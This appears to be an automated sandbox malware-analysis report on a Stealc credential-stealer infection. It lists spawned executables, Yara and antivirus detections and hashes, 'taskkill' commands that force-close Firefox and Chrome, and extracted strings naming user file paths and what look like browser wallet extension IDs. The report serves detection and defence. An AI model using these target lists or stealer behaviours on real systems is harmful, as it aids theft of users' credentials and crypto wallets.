Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2547759461.0000000001408000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2503061177.0000000001408000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2529443181.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2506078383.0000000001408000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2551102132.0000000001408000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2528499876.0000000001408000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2583071706.0000000001409000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2526277791.0000000001409000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:47:18
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Imagebase:	0xec0000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:47:22
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Imagebase:	0x2a0000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2691284963.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2756875635.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	04:47:24
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Imagebase:	0xfb0000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2657819055.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2659696835.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:47:28
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Imagebase:	0x310000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:47:32
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Imagebase:	0x480000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	04:47:33
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Imagebase:	0xec0000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:47:36
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Imagebase:	0xdb0000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	04:47:41
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Imagebase:	0xba0000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:47:41
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Imagebase:	0x2a0000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:47:45
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Imagebase:	0xd20000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:47:50
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Imagebase:	0x310000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	04:47:52
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe"
Imagebase:	0x860000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:47:54
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe"
Imagebase:	0xcf0000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:47:55
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe"
Imagebase:	0xdd0000
File size:	922'624 bytes
MD5 hash:	39F19DEFDE405544C424961F69AA69D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	04:47:55
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:47:55
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:47:56
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe"
Imagebase:	0x90000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	04:47:58
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:47:58
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 01181ABC Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117B000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction ID: 634a668d53604812c85ae3f159369026087580834357c6fd61f7e00b2d8a6e53
Opcode Fuzzy Hash: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction Fuzzy Hash: FA51CE3240A2E2AFC703CB79D992596BFA1FE4321071985DED8814F527C320A626CB96

Function 01181ABC Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction ID: 634a668d53604812c85ae3f159369026087580834357c6fd61f7e00b2d8a6e53
Opcode Fuzzy Hash: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction Fuzzy Hash: FA51CE3240A2E2AFC703CB79D992596BFA1FE4321071985DED8814F527C320A626CB96

Function 01181ABC Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117A000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction ID: 634a668d53604812c85ae3f159369026087580834357c6fd61f7e00b2d8a6e53
Opcode Fuzzy Hash: a50f569635bd1394e29105a48e52d832c34c2e39532f616af7b6c6d69f1c98de
Instruction Fuzzy Hash: FA51CE3240A2E2AFC703CB79D992596BFA1FE4321071985DED8814F527C320A626CB96

Function 01181AFC Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117B000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction ID: 57dba5a0f56e87a7820492f2133cb5ecd07e348e84922cd2e682a9fa41441df5
Opcode Fuzzy Hash: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction Fuzzy Hash: 1751D03240A2E1AFC703DF79D5925D6BFA5FE4322072885DDD4C04F426C324A666CB9A

Function 01181AFC Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction ID: 57dba5a0f56e87a7820492f2133cb5ecd07e348e84922cd2e682a9fa41441df5
Opcode Fuzzy Hash: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction Fuzzy Hash: 1751D03240A2E1AFC703DF79D5925D6BFA5FE4322072885DDD4C04F426C324A666CB9A

Function 01181AFC Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

a[QF, xrefs: 01181C4B

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117A000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction ID: 57dba5a0f56e87a7820492f2133cb5ecd07e348e84922cd2e682a9fa41441df5
Opcode Fuzzy Hash: dff89c7f23e0bfcd9fb1bcf53dd20ff193acecb57d4f503b47478acb7d9b081e
Instruction Fuzzy Hash: 1751D03240A2E1AFC703DF79D5925D6BFA5FE4322072885DDD4C04F426C324A666CB9A

Function 011818B4 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117B000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552c64ac02c1774b3feb6206b77f15fb423273cfae5148d30f4fc61823ac3a54
Instruction ID: 975f6edca04d13be359f6463bebd7c816c2bac0592d9e5bfad5483e1eb7c31bf
Opcode Fuzzy Hash: 552c64ac02c1774b3feb6206b77f15fb423273cfae5148d30f4fc61823ac3a54
Instruction Fuzzy Hash: C591446284E7D29FD3538B388C656927FB5AF1322470E41DBD4C0CF0A3E269595ACB63

Function 011818B4 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20a3df3292db6b15ffb628368515d1f1e192767c64ec869aedd3b45925d36b7
Instruction ID: 975f6edca04d13be359f6463bebd7c816c2bac0592d9e5bfad5483e1eb7c31bf
Opcode Fuzzy Hash: e20a3df3292db6b15ffb628368515d1f1e192767c64ec869aedd3b45925d36b7
Instruction Fuzzy Hash: C591446284E7D29FD3538B388C656927FB5AF1322470E41DBD4C0CF0A3E269595ACB63

Function 011818B4 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117A000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552c64ac02c1774b3feb6206b77f15fb423273cfae5148d30f4fc61823ac3a54
Instruction ID: 975f6edca04d13be359f6463bebd7c816c2bac0592d9e5bfad5483e1eb7c31bf
Opcode Fuzzy Hash: 552c64ac02c1774b3feb6206b77f15fb423273cfae5148d30f4fc61823ac3a54
Instruction Fuzzy Hash: C591446284E7D29FD3538B388C656927FB5AF1322470E41DBD4C0CF0A3E269595ACB63

Function 01181409 Relevance: 21.7, Strings: 17, Instructions: 468COMMON

Download Yara Rule

Strings

nkddgncdjgjfcddamfgcmfnlhccnimig, xrefs: 01181652
C:\Users\user\Documents\XZXHAVGRAG, xrefs: 0118162E
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 01181676
nngceckbapebfimnlniiiahkandclblb, xrefs: 011816CA
C:\Users\user\Desktop\WKXEWIOTXI, xrefs: 01181457
C:\Users\user\Documents\XZXHAVGRAG, xrefs: 01181486, 01181487
cpojfbodiccabbabgimdeohkkpjfpbnf, xrefs: 0118168E
Important Files/Desktop/SQRKHNBNYN, xrefs: 01181526
opcgpfmipidbgpenhmajoajpbobppdil, xrefs: 01181706
efbglgofoippbgcjepnhiblaibcnclgk, xrefs: 011816BE
jiidiaalihmmhddjgbnbgdfflelocpak, xrefs: 01181713
ejjladinnckdgjemekebdpeokbikhfci, xrefs: 011816EE
blnieiiffboillknjnepogjhkgnoapac, xrefs: 011816A6
C:\Users\user\AppData\Local, xrefs: 011817F6
phkbamefinggmakgklpkljjmgibohnba, xrefs: 01181647
ppbibelpcjmhbdihakflkdcoccbgbkpo, xrefs: 01181492
kkpllkodjeloidieedojogacfhpaihoh, xrefs: 011816D6

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117B000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local$C:\Users\user\Desktop\WKXEWIOTXI$C:\Users\user\Documents\XZXHAVGRAG$C:\Users\user\Documents\XZXHAVGRAG$Important Files/Desktop/SQRKHNBNYN$blnieiiffboillknjnepogjhkgnoapac$cpojfbodiccabbabgimdeohkkpjfpbnf$efbglgofoippbgcjepnhiblaibcnclgk$ejjladinnckdgjemekebdpeokbikhfci$jiidiaalihmmhddjgbnbgdfflelocpak$kkpllkodjeloidieedojogacfhpaihoh$nhnkbkgjikgcigadomkphalanndcapjk$nkddgncdjgjfcddamfgcmfnlhccnimig$nngceckbapebfimnlniiiahkandclblb$opcgpfmipidbgpenhmajoajpbobppdil$phkbamefinggmakgklpkljjmgibohnba$ppbibelpcjmhbdihakflkdcoccbgbkpo
API String ID: 0-3786617966
Opcode ID: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction ID: db23785245dbc9966ba1972ceecd58bf439477c959b62ab0c982a3a64f5b872e
Opcode Fuzzy Hash: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction Fuzzy Hash: 9F12B07654E3C18FD7478B7898656813FB0AF13228B1E44EBD4C0CF1B3E269485ACB66

Function 01181409 Relevance: 21.7, Strings: 17, Instructions: 468COMMON

Download Yara Rule

Strings

nkddgncdjgjfcddamfgcmfnlhccnimig, xrefs: 01181652
opcgpfmipidbgpenhmajoajpbobppdil, xrefs: 01181706
jiidiaalihmmhddjgbnbgdfflelocpak, xrefs: 01181713
efbglgofoippbgcjepnhiblaibcnclgk, xrefs: 011816BE
phkbamefinggmakgklpkljjmgibohnba, xrefs: 01181647
ejjladinnckdgjemekebdpeokbikhfci, xrefs: 011816EE
Important Files/Desktop/SQRKHNBNYN, xrefs: 01181526
C:\Users\user\Desktop\WKXEWIOTXI, xrefs: 01181457
cpojfbodiccabbabgimdeohkkpjfpbnf, xrefs: 0118168E
kkpllkodjeloidieedojogacfhpaihoh, xrefs: 011816D6
blnieiiffboillknjnepogjhkgnoapac, xrefs: 011816A6
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 01181676
C:\Users\user\AppData\Local, xrefs: 011817F6
C:\Users\user\Documents\XZXHAVGRAG, xrefs: 01181486, 01181487
C:\Users\user\Documents\XZXHAVGRAG, xrefs: 0118162E
ppbibelpcjmhbdihakflkdcoccbgbkpo, xrefs: 01181492
nngceckbapebfimnlniiiahkandclblb, xrefs: 011816CA

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117A000, based on PE: false

Associated: 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local$C:\Users\user\Desktop\WKXEWIOTXI$C:\Users\user\Documents\XZXHAVGRAG$C:\Users\user\Documents\XZXHAVGRAG$Important Files/Desktop/SQRKHNBNYN$blnieiiffboillknjnepogjhkgnoapac$cpojfbodiccabbabgimdeohkkpjfpbnf$efbglgofoippbgcjepnhiblaibcnclgk$ejjladinnckdgjemekebdpeokbikhfci$jiidiaalihmmhddjgbnbgdfflelocpak$kkpllkodjeloidieedojogacfhpaihoh$nhnkbkgjikgcigadomkphalanndcapjk$nkddgncdjgjfcddamfgcmfnlhccnimig$nngceckbapebfimnlniiiahkandclblb$opcgpfmipidbgpenhmajoajpbobppdil$phkbamefinggmakgklpkljjmgibohnba$ppbibelpcjmhbdihakflkdcoccbgbkpo
